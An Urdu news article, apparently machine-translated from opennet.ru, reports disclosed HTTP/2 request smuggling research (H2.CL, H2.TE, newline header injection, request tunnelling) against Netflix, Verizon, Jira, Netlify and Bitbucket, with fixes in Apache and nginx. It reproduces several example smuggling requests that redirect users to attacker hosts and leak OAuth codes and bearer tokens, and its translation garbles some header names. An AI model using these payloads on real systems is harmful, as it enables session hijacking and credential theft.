فرنٹ اینڈ بیک اینڈ سسٹمز پر ایک نیا حملہ جو آپ کو درخواستوں میں پھنسنے کی اجازت دیتا ہے۔

وہ ویب سسٹم جس میں فرنٹ اینڈ HTTP/2 کے ذریعے کنکشن قبول کرتا ہے اور HTTP/1.1 کے ذریعے بیک اینڈ پر منتقل کرتا ہے، "HTTP Request Smuggling" اٹیک کے ایک نئے انداز میں سامنے آیا ہے، جو خصوصی طور پر ڈیزائن کردہ کلائنٹ کی درخواستیں بھیج کر اجازت دیتا ہے۔ فرنٹ اینڈ اور بیک اینڈ کے درمیان ایک ہی بہاؤ میں پروسیس ہونے والے دوسرے صارفین کی درخواستوں کے مواد میں پچر۔ حملے کو جائز ویب سائٹ کے ساتھ سیشن میں نقصان دہ JavaScript کوڈ داخل کرنے، رسائی کی پابندی کے نظام کو نظرانداز کرنے اور تصدیقی پیرامیٹرز کو روکنے کے لیے استعمال کیا جا سکتا ہے۔

یہ مسئلہ ویب پراکسی، لوڈ بیلنسرز، ویب ایکسلریٹر، مواد کی ترسیل کے نظام اور دیگر کنفیگریشنز کو متاثر کرتا ہے جس میں درخواستوں کو فرنٹ اینڈ ٹو بیک اینڈ انداز میں ری ڈائریکٹ کیا جاتا ہے۔ مطالعہ کے مصنف نے Netflix، Verizon، Bitbucket، Netlify CDN اور Atlassian کے سسٹمز پر حملہ کرنے کا امکان ظاہر کیا، اور کمزوریوں کی نشاندہی کرنے کے لیے 56 ہزار ڈالر انعامی پروگرام حاصل کیے۔ F5 نیٹ ورکس کی مصنوعات میں بھی مسئلہ کی تصدیق ہو چکی ہے۔ مسئلہ Apache HTTP سرور (CVE-2021-33193) میں mod_proxy کو جزوی طور پر متاثر کرتا ہے، ورژن 2.4.49 میں ایک فکس کی توقع ہے (ڈویلپرز کو مئی کے شروع میں اس مسئلے کے بارے میں مطلع کیا گیا تھا اور اسے ٹھیک کرنے کے لیے 3 ماہ کا وقت دیا گیا تھا)۔ nginx میں، بیک وقت "مواد کی لمبائی" اور "منتقلی-انکوڈنگ" ہیڈر کی وضاحت کرنے کی صلاحیت کو آخری ریلیز (1.21.1) میں روک دیا گیا تھا۔ اٹیک ٹولز برپ ٹول کٹ میں پہلے ہی شامل ہیں اور ٹربو انٹروڈر ایکسٹینشن کی شکل میں دستیاب ہیں۔

ٹریفک میں درخواستوں کو ویج کرنے کے نئے طریقہ کار کو چلانے کا اصول دو سال قبل اسی محقق کے ذریعہ شناخت شدہ خطرے سے ملتا جلتا ہے، لیکن یہ ان فرنٹ اینڈز تک محدود ہے جو HTTP/1.1 پر درخواستوں کو قبول کرتے ہیں۔ ہمیں یاد کرنا چاہیے کہ فرنٹ اینڈ بیک اینڈ اسکیم میں، کلائنٹ کی درخواستیں ایک اضافی نوڈ کے ذریعے موصول ہوتی ہیں - فرنٹ اینڈ، جو بیک اینڈ کے ساتھ طویل عرصے تک TCP کنکشن قائم کرتا ہے، جو براہ راست درخواستوں پر کارروائی کرتا ہے۔ اس مشترکہ رابطے کے ذریعے، عام طور پر مختلف صارفین کی جانب سے درخواستیں منتقل کی جاتی ہیں، جو HTTP پروٹوکول کے ذریعے الگ الگ ایک کے بعد ایک سلسلہ کی پیروی کرتی ہیں۔

کلاسک "HTTP Request Smuggling" حملہ اس حقیقت پر مبنی تھا کہ فرنٹ اینڈ اور بیک اینڈز HTTP ہیڈر "Content-Length" (درخواست میں ڈیٹا کے کل سائز کا تعین کرتا ہے) اور "Transfer-Encoding: chunked" (اجازت دیتا ہے) کے استعمال کی ترجمانی کرتا ہے۔ ڈیٹا کو حصوں میں منتقل کیا جائے گا) مختلف طریقے سے۔ مثال کے طور پر، اگر فرنٹ اینڈ صرف "Content-Length" کو سپورٹ کرتا ہے لیکن "Transfer-Encoding: chunked" کو نظر انداز کرتا ہے، تو حملہ آور ایک درخواست بھیج سکتا ہے جس میں "Content-Length" اور "Transfer-Encoding: chunked" ہیڈر دونوں شامل ہوں، لیکن جس کا سائز "مواد کی لمبائی" ہے وہ کٹے ہوئے چین کے سائز سے مماثل نہیں ہے۔ اس صورت میں، فرنٹ اینڈ "مواد کی لمبائی" کے مطابق درخواست پر کارروائی اور ری ڈائریکٹ کرے گا، اور بیک اینڈ "ٹرانسفر-انکوڈنگ: chunked" کی بنیاد پر بلاک کے مکمل ہونے کا انتظار کرے گا اور حملہ آور کی درخواست کی بقیہ پونچھ کسی اور کی درخواست کے شروع میں ہو جو اگلی منتقل کی جائے گی۔

ٹیکسٹ پروٹوکول HTTP/1.1 کے برعکس، جس کی لائن لیول پر تجزیہ کیا جاتا ہے، HTTP/2 ایک بائنری پروٹوکول ہے اور پہلے سے مخصوص سائز کے ڈیٹا بلاکس کو جوڑتا ہے۔ تاہم، HTTP/2 pseudo-headers کا استعمال کرتا ہے جو کہ باقاعدہ HTTP ہیڈر سے مطابقت رکھتا ہے۔ HTTP/1.1 پروٹوکول کے ذریعے بیک اینڈ کے ساتھ تعامل کی صورت میں، فرنٹ اینڈ ان سیڈو ہیڈرز کو اسی طرح کے HTTP ہیڈر HTTP/1.1 میں ترجمہ کرتا ہے۔ مسئلہ یہ ہے کہ پسدید اصل درخواست کے پیرامیٹرز کے بارے میں معلومات کے بغیر، فرنٹ اینڈ کے ذریعہ سیٹ کردہ HTTP ہیڈر کی بنیاد پر اسٹریم کو پارس کرنے کے بارے میں فیصلے کرتا ہے۔

خاص طور پر، قدریں "مواد کی لمبائی" اور "منتقلی-انکوڈنگ" کو سیوڈو ہیڈر کی شکل میں منتقل کیا جا سکتا ہے، اس حقیقت کے باوجود کہ وہ HTTP/2 میں استعمال نہیں ہوتے ہیں، کیونکہ تمام ڈیٹا کے سائز کا تعین کیا جاتا ہے۔ ایک الگ فیلڈ میں۔ تاہم، HTTP/2 درخواست کو HTTP/1.1 میں تبدیل کرنے کے عمل کے دوران، یہ ہیڈر آگے بڑھ جاتے ہیں اور پسدید کو الجھا سکتے ہیں۔ حملے کی دو اہم اقسام ہیں: H2.TE اور H2.CL، جس میں پسدید کو غلط ٹرانسفر انکوڈنگ یا مواد کی لمبائی کی قدر سے گمراہ کیا جاتا ہے جو کہ فرنٹ اینڈ کے ذریعے موصول ہونے والی درخواست کے باڈی کے اصل سائز سے مطابقت نہیں رکھتا۔ HTTP/2 پروٹوکول۔

H2.CL حملے کی ایک مثال Netflix کو HTTP/2 کی درخواست بھیجتے وقت مواد کی لمبائی کے سیوڈو ہیڈر میں ایک غلط سائز کی وضاحت کرنا ہے۔ یہ درخواست HTTP/1.1 کے ذریعے بیک اینڈ تک رسائی کرتے وقت اسی طرح کے HTTP ہیڈر مواد کی لمبائی کے اضافے کا باعث بنتی ہے، لیکن چونکہ مواد کی لمبائی میں سائز اصل سے کم بیان کیا گیا ہے، اس لیے ٹیل میں موجود ڈیٹا کے کچھ حصے پر کارروائی کی جاتی ہے۔ اگلی درخواست کا آغاز۔

مثال کے طور پر، HTTP/2 :method POST :path /n :authority کی درخواست کریں www.netflix.com content-length 4 abcdGET /n HTTP/1.1 میزبان: 02.rs?x.netflix.com Foo: bar

اس کے نتیجے میں بیک اینڈ پر ایک درخواست بھیجی جائے گی: POST /n HTTP/1.1 میزبان: www.netflix.com مواد کی لمبائی: 4 abcdGET /n HTTP/1.1 میزبان: 02.rs?x.netflix.com Foo: bar

چونکہ Content-Length کی قدر 4 ہے، اس لیے بیک اینڈ صرف "abcd" کو درخواست کے باڈی کے طور پر قبول کرے گا، اور باقی "GET /n HTTP/1.1..." پر بعد کی درخواست کے آغاز کے طور پر کارروائی کی جائے گی۔ دوسرے صارف کے ساتھ منسلک۔ اس کے مطابق، سلسلہ غیر مطابقت پذیر ہو جائے گا اور اگلی درخواست کے جواب میں، ڈمی درخواست پر کارروائی کا نتیجہ جاری کیا جائے گا۔ Netflix کے معاملے میں، ڈمی درخواست میں "میزبان:" ہیڈر میں فریق ثالث کے میزبان کی وضاحت کرنے کے نتیجے میں کلائنٹ نے جواب "مقام: https://02.rs?x.netflix.com/n" کو واپس کر دیا اور صوابدیدی مواد کو کلائنٹ کو بھیجنے کی اجازت دی، بشمول Netflix سائٹ کے تناظر میں اپنا JavaScript کوڈ چلائیں۔

دوسرے حملے کے آپشن (H2.TE) میں "ٹرانسفر-انکوڈنگ: chunked" ہیڈر کو تبدیل کرنا شامل ہے۔ HTTP/2 میں ٹرانسفر انکوڈنگ سیوڈو ہیڈر کا استعمال تصریح کے ذریعہ ممنوع ہے اور اس کے ساتھ درخواستوں کو غلط سمجھا جاتا ہے۔ اس کے باوجود، کچھ فرنٹ اینڈ نفاذ اس ضرورت کو مدنظر نہیں رکھتے اور HTTP/2 میں ٹرانسفر انکوڈنگ سیوڈو ہیڈر کے استعمال کی اجازت دیتے ہیں، جو اسی طرح کے HTTP ہیڈر میں تبدیل ہوتا ہے۔ اگر کوئی "ٹرانسفر-انکوڈنگ" ہیڈر ہے، تو بیک اینڈ اسے اعلی ترجیح کے طور پر لے سکتا ہے اور "{size}\r\n{block" فارمیٹ میں مختلف سائز کے بلاکس کا استعمال کرتے ہوئے "chunked" موڈ میں ڈیٹا کے ٹکڑے کو پارس کر سکتا ہے۔ }\r\n{size} \r\n{block}\r\n0", مجموعی سائز کے لحاظ سے ابتدائی تقسیم کے باوجود۔

ویریزون کی مثال سے اس طرح کے خلا کی موجودگی کا مظاہرہ کیا گیا۔ مسئلہ توثیقی پورٹل اور مواد کے انتظام کے نظام سے متعلق ہے، جو ہفنگٹن پوسٹ اور Engadget جیسی سائٹس پر بھی استعمال ہوتا ہے۔ مثال کے طور پر، HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com ٹرانسفر انکوڈنگ کے ذریعے کلائنٹ کی درخواست 0 GET /oops HTTP/1.1 میزبان: psres.net مواد کی لمبائی: 10 x=

بیک اینڈ کو HTTP/1.1 درخواست بھیجنے کے نتیجے میں: POST /identity/XUI HTTP/1.1 میزبان: id.b2b.oath.com مواد کی لمبائی: 66 منتقلی-انکوڈنگ: chunked 0 GET /oops HTTP/1.1 میزبان: psres۔ خالص مواد- لمبائی: 10x=

پسدید نے، بدلے میں، "مواد کی لمبائی" ہیڈر کو نظر انداز کیا اور "ٹرانسفر-انکوڈنگ: chunked" کی بنیاد پر دھارے میں تقسیم کی کارکردگی کا مظاہرہ کیا۔ عملی طور پر، حملے نے صارف کی درخواستوں کو ان کی ویب سائٹ پر ری ڈائریکٹ کرنا ممکن بنایا، بشمول OAuth تصدیق سے متعلق درخواستوں کو روکنا، جن کے پیرامیٹرز ریفرر ہیڈر میں دکھائے گئے تھے، نیز تصدیقی سیشن کی نقل کرنا اور صارف کے سسٹم کو اسناد بھیجنے کے لیے متحرک کرنا۔ حملہ آور کے میزبان کو۔ GET /b2blanding/show/oops HTTP/1.1 میزبان: psres.net حوالہ دہندہ: https://id.b2b.oath.com/?…&code=secret GET/HTTP/1.1 میزبان: psres.net اجازت: بیئرر eyJhcGwiOiJIUzI1Gi1sInkR6cCII6

ایچ ٹی ٹی پی/2 کے نفاذ پر حملہ کرنے کے لیے جو ٹرانسفر انکوڈنگ سیوڈو ہیڈر کو متعین کرنے کی اجازت نہیں دیتے ہیں، ایک اور طریقہ تجویز کیا گیا ہے جس میں "ٹرانسفر-انکوڈنگ" ہیڈر کو دوسرے سیوڈو ہیڈر کے ساتھ منسلک کرکے اس کی جگہ نئی لائن کریکٹر سے الگ کرنا شامل ہے۔ جب اس معاملے میں HTTP/1.1 میں تبدیل ہوجائے تو دو الگ الگ HTTP ہیڈر بناتا ہے)۔

مثال کے طور پر، Atlassian Jira اور Netlify CDN (Firefox میں Mozilla Start page کی خدمت کے لیے استعمال کیا جاتا ہے) اس مسئلے سے متاثر ہوئے۔ خاص طور پر، HTTP/2 کی درخواست :method POST :path / :authority start.mozilla.org foo b\r\n ٹرانسفر انکوڈنگ: chunked 0\r\n \r\n GET/HTTP/1.1\r\n میزبان : evil-netlify-domain\r\n مواد کی لمبائی: 5\r\n \r\nx=

اس کے نتیجے میں HTTP/1.1 POST/HTTP/1.1 درخواست بیک اینڈ کو بھیجی گئی\r\n میزبان: start.mozilla.org\r\n Foo: b\r\n منتقلی-انکوڈنگ: chunked\r\n مواد کی لمبائی : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n میزبان: evil-netlify-domain\r\n مواد کی لمبائی: 5\r\n \r \nx=

"ٹرانسفر-انکوڈنگ" ہیڈر کو تبدیل کرنے کا ایک اور آپشن یہ تھا کہ اسے کسی دوسرے سیوڈو ہیڈر کے نام یا درخواست کے طریقہ کار کے ساتھ لائن سے منسلک کیا جائے۔ مثال کے طور پر، Atlassian Jira تک رسائی کرتے وقت، pseudo-header name "foo: bar\r\ntransfer-encoding" قدر کے ساتھ "chunked" کی وجہ سے HTTP ہیڈر "foo: bar" اور "transfer-encoding: chunked" کو شامل کیا گیا۔ ، اور pseudo-header ":method" قدر کی وضاحت کرتے ہوئے "GET/HTTP/1.1\r\nTransfer-encoding: chunked" کا ترجمہ "GET/HTTP/1.1\r\ntransfer-encoding: chunked" میں کیا گیا تھا۔

اس مسئلے کی نشاندہی کرنے والے محقق نے فرنٹ اینڈ پر حملہ کرنے کے لیے ایک درخواست ٹنلنگ تکنیک کی تجویز بھی پیش کی، جس میں ہر آئی پی ایڈریس پسدید سے علیحدہ کنکشن قائم کرتا ہے اور مختلف صارفین کی جانب سے ٹریفک کو ملایا نہیں جاتا۔ مجوزہ تکنیک دوسرے صارفین کی درخواستوں میں مداخلت کی اجازت نہیں دیتی ہے، لیکن مشترکہ کیش کو زہر دینا ممکن بناتی ہے جو دوسری درخواستوں کی پروسیسنگ کو متاثر کرتی ہے، اور سروس کی معلومات کو فرنٹ اینڈ سے بیک اینڈ میں منتقل کرنے کے لیے استعمال ہونے والے اندرونی HTTP ہیڈر کے متبادل کی اجازت دیتی ہے۔ مثال کے طور پر، جب ایسے ہیڈر میں فرنٹ اینڈ سائیڈ پر توثیق کرنا موجودہ صارف کے بارے میں معلومات کو بیک اینڈ پر منتقل کر سکتا ہے)۔ طریقہ کار کو عملی طور پر لاگو کرنے کی ایک مثال کے طور پر، کیش پوائزننگ کا استعمال کرتے ہوئے، بٹ بکٹ سروس میں صفحات پر کنٹرول حاصل کرنا ممکن تھا۔

ماخذ: opennet.ru